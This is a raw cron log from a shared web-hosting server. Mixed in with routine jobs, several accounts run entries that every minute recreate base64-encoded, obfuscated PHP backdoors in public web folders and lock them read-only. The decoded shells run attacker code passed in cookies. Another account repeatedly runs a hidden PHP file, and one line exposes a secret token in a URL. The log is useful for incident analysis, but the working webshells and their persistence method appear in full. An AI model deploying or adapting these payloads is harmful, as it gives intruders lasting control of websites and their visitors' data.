Mar  2 07:46:02 medusa CROND[29468]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:46:02 medusa CROND[29472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:46:02 medusa CROND[29475]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:46:02 medusa CROND[29476]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:46:02 medusa CROND[29477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:46:02 medusa CROND[29474]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:46:02 medusa CROND[29480]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:46:02 medusa CROND[29470]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:46:02 medusa CROND[29486]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:47:01 medusa CROND[13821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:47:01 medusa CROND[13822]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:47:01 medusa CROND[13919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:47:02 medusa CROND[14122]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 07:47:02 medusa CROND[14123]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:47:02 medusa CROND[14124]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:47:02 medusa CROND[14129]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:47:02 medusa CROND[14136]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:47:02 medusa CROND[14140]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:47:02 medusa CROND[14141]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:47:02 medusa CROND[14142]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:47:02 medusa CROND[14144]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:47:02 medusa CROND[14151]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:48:02 medusa CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:48:02 medusa CROND[29892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:48:02 medusa CROND[29930]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:48:02 medusa CROND[29931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:48:02 medusa CROND[29932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
